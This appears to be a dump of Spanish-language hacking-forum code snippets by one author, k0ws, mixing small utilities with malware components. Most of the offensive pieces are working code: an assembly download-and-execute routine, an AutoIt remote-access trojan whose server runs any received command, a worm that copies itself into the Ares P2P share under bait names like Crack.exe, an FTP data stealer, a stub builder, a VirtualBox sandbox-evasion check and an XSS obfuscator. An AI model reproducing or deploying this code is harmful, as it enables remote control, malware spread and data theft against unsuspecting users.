#############################################
# Author: k0ws                              #
# Usage: cUnidades()                        #
# Webs: Indetectables ~ UdTools ~ Underc0de #
#############################################

import win32file as file
import win32api as api
def cUnidades():
 listdrives = api.GetLogicalDriveStrings().split("\x00")
 i = 0
 print "Lista de FlashDrives o HDD: "
 for drive in listdrives:
  if len(listdrives) == (i + 1):
   break
  if (file.GetDriveType(listdrives[i])) == 2:
   try:
    api.GetDiskFreeSpace(listdrives[i].replace('\\',''))
    print listdrives[i] + " - Conectado"
   except:
    print listdrives[i] + " - Desconectado"
  if (file.GetDriveType(listdrives[i])) == 3:
   try:
    api.GetDiskFreeSpace(listdrives[i].replace('\\',''))
    print listdrives[i] + " - Conectado"
   except:
    print listdrives[i] + " - Desconectado"
  i = i + 1

cUnidades()

'##############################
'## Len Alternativo          ##
'## Author: k0ws             ##
'##############################
Public Function Len_Alter(Palabra As String)
Dim a As Long
Dim b() As Byte
Dim c As Integer
b = StrConv(Palabra, vbFromUnicode)
For a = 0 To UBound(b())
c = c + 1
Next a
Len_Alter = c
End Function

Public Function Len_Alter(Palabra As String)
Dim b() As Byte
b = StrConv(Palabra, vbFromUnicode)
Len_Alter = UBound(b()) + 1
End Function

Public Function StrRev_Alter(Palabra As String)
Dim k, i As Integer
Dim Res As String
Dim b() As Byte
b = StrConv(Palabra, vbFromUnicode)
For k = 0 To Len(Palabra) - 1
i = (Len(Palabra) - 1) - k
Res = Res + Chr(b(i))
Next k
StrRev_Alter = Res
End Function

#Author: k0ws
#Use: <filename.py> -f filename.exe

import pefile,sys
def ExeMetadata():
 try:
  if (sys.argv[1] == "-h"):
   print '\nUse: py_filename.py -f exe_file_location';
   return;
  else:
   sExe =  pefile.PE(sys.argv[2]);
   sDump1 = sExe.dump_info();
   sDump2 = sDump1.split('[VS_FIXEDFILEINFO]');
   sDump3 = sDump2[1].split('----------Resource directory----------');
   sDump4 = sDump3[0].split('LegalCopyright');
   sFinalDump = sDump4[1].split('[VarFileInfo]')
   sF = repr(sFinalDump[0]);
   sF2 = sF.replace('\\xae','').replace('\\xa9','').replace('\n',' ').replace('\ ','');
   print '    \n    LegalCopyright' + eval(sF2)
 except:
  print 'Fichero no encontrado!'

ExeMetadata()

include 'include\win32ax.inc' ;Incluimos para el uso de ciertas apis.
.data ;Seccion de datos.
remote_file db 'http://underc0de.org/foro/Themes/underc0de/images/theme/logo.png',0 ;Definimos una variable para la URL.
local_file db 'deje.png',0 ;Definimos otra variable para el nombre del archivo local.
.code ;Seccion de codigo.
start: ;Comenzamos el codigo
call loading ;Llamamos a la subrutina para cargar las funciones necesarias.
call download ;Llamamos a la subrutina para descargar el archivo.
call execute ;Llamamos a la subrutina para ejecutar el archivo.
exit:
invoke ExitProcess,0 ;Salida del programa.
.end start ;Terminamos.
download: ;Cargamos en la pila los datos necesarios mediante push.
push eax
push 0
push 0
push local_file
push remote_file
push 0
call eax ;llamamos a la funcion UrlDownloadToFileA (Su direccion)
pop eax ;La sacamos de la pila.
invoke FreeLibrary, eax ; "La Liberamos"
call execute ; Nos vamos a la ejecucion del archivo.
loading:
invoke LoadLibrary, 'urlmon.dll' ;Llamamos a la libreria que contiene nuestra funcion.
invoke GetProcAddress, eax, 'URLDownloadToFileA' ;Sacamos la direccion de nuestra funcion.
call download ;Una vez definida la funcion a usar, podemos para a descargar el fichero.
execute:
invoke ShellExecuteA, 0, 0, local_file, 0, 0, SW_SHOW ;Ejecutamos el archivo y salimos...
call exit ;Llamamos a la salida...

'''
Coder: k0ws | If you use this code or part of it, please, credit ;)
'''

import httplib, sys
def buscaArchivoWeb():
 try:
  if (sys.argv[1] == "-h"):
   print '\nUse: py_filename.py -w www.host.com -f http://www.host.com/remote_file.ext';
   return;
  else:
   sHost = sys.argv[2];
   sFile = sys.argv[4];
   sCon = httplib.HTTPConnection(sHost);
   sCon.request("GET",sFile);
   sRes = sCon.getresponse().status;
   print '\nWeb: ' + sys.argv[2];
   print 'Remote File: ' + sys.argv[4];
   print 'Remote File Status: ' + str(sRes);
   if sRes == 200:
    print 'Remote Response: The file exist :D';
   else:
    print 'Remote Response: The file doesnt exist!';
 except:
	 print '\nError: I need at least two parameters for working | Remember, the file needs the http:// header for working, the host can be definite like www.server...';
 
buscaArchivoWeb();

# XSS Obfuscator | k0ws
import os
if os.name == "posix":
 c = 'clear'
else:
 c == 'cls'
os.system(c)
print' +-+-+-+ +-+-+-+-+-+-+-+-+-+-+'
print' |X|S|S| |O|B|F|U|S|C|A|T|O|R|'
print' +-+-+-+ +-+-+-+-+-+-+-+-+-+-+'
print''
vector = raw_input("Ingrese el vector a ofuscar: ")
largo = len(vector)
for i in range(0,largo):
    print '&#' + str(ord(vector [i]))

#Download Function | k0ws
#==========
import urllib2
def _Down(Url):
file = urllib2.urlopen(Url)
 output = open('logo.png','wb')
 output.write(file.read())
 output.close()	
 #==========
_Down("http://underc0de.org/foro/Themes/underc0de/images/theme/logo.png") 

;Cliente - Author k0ws

#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <WindowsConstants.au3>
#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Nemesis R.A.T", 289, 114, 193, 115)
$Input1 = GUICtrlCreateInput("", 8, 8, 273, 21)
$Button1 = GUICtrlCreateButton("Listen", 8, 40, 121, 25)
$Button2 = GUICtrlCreateButton("Close", 160, 40, 121, 25)
$Button3 = GUICtrlCreateButton("Send Command", 8, 80, 273, 25)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
;######################################
Local $szIPADDRESS = @IPAddress1
    Local $nPORT = 3460
    Local $MainSocket, $ConnectedSocket, $szIP_Accepted
    Local $msg, $recv
While 1
	$nMsg = GUIGetMsg()
	Switch $nMsg
		Case $GUI_EVENT_CLOSE
			Exit
	  Case $Input1
		Case $Button1
		      TCPStartup()
		   $MainSocket = TCPListen($szIPADDRESS, $nPORT)
If $MainSocket = -1 Then Exit
$ConnectedSocket = -1
Do
        $ConnectedSocket = TCPAccept($MainSocket)
    Until $ConnectedSocket <> -1
$szIP_Accepted = SocketToIP($ConnectedSocket)
	GUICtrlSetData($Input1,$szIP_Accepted)
 Case $Button2
	TCPShutdown()
 Case $Button3
	$szData = InputBox("Mandar comando al servidor", @LF & @LF & "Mandar orden a " & $szIP_Accepted)
	If @error Or $szData = "" Then ExitLoop
            TCPSend($ConnectedSocket, StringToBinary($szData, 4))
			If @error Then ExitLoop
	EndSwitch
WEnd
Func SocketToIP($SHOCKET)
    Local $sockaddr, $aRet

    $sockaddr = DllStructCreate("short;ushort;uint;char[8]")

    $aRet = DllCall("Ws2_32.dll", "int", "getpeername", "int", $SHOCKET, _
            "ptr", DllStructGetPtr($sockaddr), "int*", DllStructGetSize($sockaddr))
    If Not @error And $aRet[0] = 0 Then
        $aRet = DllCall("Ws2_32.dll", "str", "inet_ntoa", "int", DllStructGetData($sockaddr, 3))
        If Not @error Then $aRet = $aRet[0]
    Else
        $aRet = 0
    EndIf

    $sockaddr = 0

    Return $aRet
EndFunc

;Server - Author k0ws

StartSvr()
Func StartSvr()
    TCPStartup()
	Local $ConnectedSocket, $szData
    Local $szIPADDRESS = @IPAddress1
    Local $nPORT = 3460
	$ConnectedSocket = -1
	$ConnectedSocket = TCPConnect($szIPADDRESS, $nPORT)
    If @error Then StartSvr()
       While 1
        $recv = TCPRecv($ConnectedSocket, 2048)
        If @error Then ExitLoop
		   $recv = BinaryToString($recv, 4)
           If $recv <> "" Then ShellExecute($recv)
    WEnd
EndFunc  

;Author k0ws
;Web:Underc[0]de.org
;---------------------------------------------
#include <Inet.au3>;Biblioteca Inet,permite el manejo de la web.
;---------------------------------------------
_Down("URL","ARCHIVO O LOCALIZACION");Funcion de 2 variables(Url,Nombre archivo)
ShellExecute("ARCHIVO O LOCALIZACION")
;---------------------------------------------
Func _Down($url,$file);Comienzo de la Funcion
InetGet($url,$file);InetGet = Download
EndFunc ;Cierre de la funcion

    '/**********************************************\
    '/ Autor: k0ws                                 *\
    '/ Webs: Underc[0]de.org & Udtools.net         *\
    '/ Funcion: Propagar ejecutable via Ares       *\
    '/ Anexo: El autor se exime de su mal uso      *\
    '/ Uso: Call sAres()                           *\
    '/ Si usas este o parte del codigo da creditos *\
    '/**********************************************\
     
    Public Function sAres()
    'Por si las moscas x)
    On Error GoTo erroneo
    'Definimos lo necesario (Rutas,nombres y el contador)
    Dim n As Integer
    Dim lector, ruta As String, rutaCom As String, listaNombres As String, nombresF() As String
    'Leemos la ruta donde Ares guarda las descargas y la convertimos de Hexadecimal a Texto
    Set lector = CreateObject("wscript.shell")
    ruta = lector.RegRead("HKEY_CURRENT_USER\SOFTWARE\Ares\Download.Folder")
    rutaCom = sConvert(ruta)
    'Lista de nombres para autocopiarnos
    listaNombres = "Crack.exe,Serial.exe,Winrar.exe,Winzip.exe,PhotoScape.exe,LiveMessenger2012.exe," _
    & "DiabloIII.exe,DriverPackSolution.exe,MicrosoftOffice2010.exe,AdobePhotoshopCS6.exe,Activador.exe" _
    & ",WindowsXPActivador.exe,Windows7Activador.exe"
    'Nos copiammos usando un pequeño contador para el split ;)
    For n = 0 To 12
    nombresF() = Split(listaNombres, ",")
    FileCopy App.Path & "\" & App.EXEName & ".exe", rutaCom & "\" & nombresF(n)
    Next
    erroneo:
    End
    End Function
     
    Public Function sConvert(ByVal hextext As String) As String 'Funcion para convertir Hexadecimal a exto
       For y = 1 To Len(hextext)
        num = Mid(hextext, y, 2)
        Value = Value & Chr(Val("&h" & num))
        y = y + 1
    Next y
    sConvert = Value
    End Function

Public Class Form1
    Const Delimiter As String = "/***\"
    Dim Stub, msg As String
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim Dialog As New SaveFileDialog
        Dialog.Filter = "Exe | Windows Executable Files"
        Dialog.ShowDialog()
        FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        Stub = Space(LOF(1))
        FileGet(1, Stub)
        FileClose(1)
        FileOpen(1, Dialog.FileName, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
        FilePut(1, Stub & Delimiter & TextBox1.Text & Delimiter & "Webos")
        FileClose(1)
        MsgBox("Server was made with success", MsgBoxStyle.Information, "Underc0de Downloader")
    End Sub
End Class

Public Class Form1
    Const Delimiter As String = "/***\"
    Dim Stub As String
    Dim TITULO As String
    Dim wea As String
    Dim Splitter() As String
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        On Error Resume Next
        FileOpen(Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        Stub = Space(LOF(1))
        FileGet(1, Stub)
        FileClose(1)
        Splitter = Split(Stub, Delimiter)
        TITULO = Splitter(1)
        wea = Splitter(2)
        MsgBox(TITULO, , wea)
        End
    End Sub
End Class

'Codeado por k0ws/respeta el autor
Option Explicit
Dim cFTP As New mFTP
Private Sub Form_Load()
Me.Hide
Dim yo As Object
Set yo = CreateObject("wscript.shell")
Dim so As String
so = yo.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Productname")
Text1.text = "Tu Remoto Usa: " & so
Call Mandar()
End Sub

Function Mandar()
Dim Stealed As String
Dim ftpHost As String
Dim ftpUser As String
Dim ftpPass As String
Stealed = Environ("homedrive") & "\" & Environ("ComputerName") & StrReverse("txt.")
ftpHost = ftp.host.net
ftpUser = GAY
ftpPass = GAY2
Open Stealed For Output As #1
Print #1, Text1.Text
Close #1
cFTP.Connect ftpHost, ftpUser, ftpPass, 21, True, eAT_Direct, vbNullString, vbNullString
cFTP.PutFile Stealed, Environ("ComputerName") & StrReverse("txt.")
cFTP.Disconnect
'
Kill Stealed
'
END
End Function

'k0ws
Function NOVBX()
Set Fso = CreateObject("Scripting.FileSystemObject")
If (Fso.FileExists(Environ("programfiles") & "\Oracle\VirtualBox\VBoxSvc.exe")) Then
End
End If
End Function

'sAres Spread Via Ares.
'Autor:k0ws
'Respeta el autor.
Public Function sAres()
Dim Lector, Ruta As String, RutaCom As String
Set Lector = CreateObject("wscript.shell")
Ruta = Lector.RegRead("HKEY_CURRENT_USER\SOFTWARE\Ares\Download.Folder")
RutaCom = HEX2ASCII(Ruta)
FileCopy App.Path & "\" & App.EXEName & ".exe", RutaCom & "\" & App.EXEName & ".exe"
End Function
Public Function HEX2ASCII(ByVal hextext As String) As String
    For y = 1 To Len(hextext)
    num = Mid(hextext, y, 2)
    Value = Value & Chr(Val("&h" & num))
    y = y + 1
Next y
HEX2ASCII = Value
End Function